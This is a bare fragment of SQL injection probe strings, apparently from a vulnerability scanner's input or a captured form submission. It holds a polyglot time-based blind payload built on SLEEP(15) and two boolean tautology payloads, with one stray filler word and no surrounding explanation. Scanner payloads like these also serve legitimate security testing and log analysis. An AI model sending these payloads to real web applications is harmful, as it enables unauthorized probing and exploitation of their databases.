(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+"*/

Mr.

-1 OR 2+253-253-1=0+0+0+1 --

-1 OR 2+123-123-1=0+0+0+1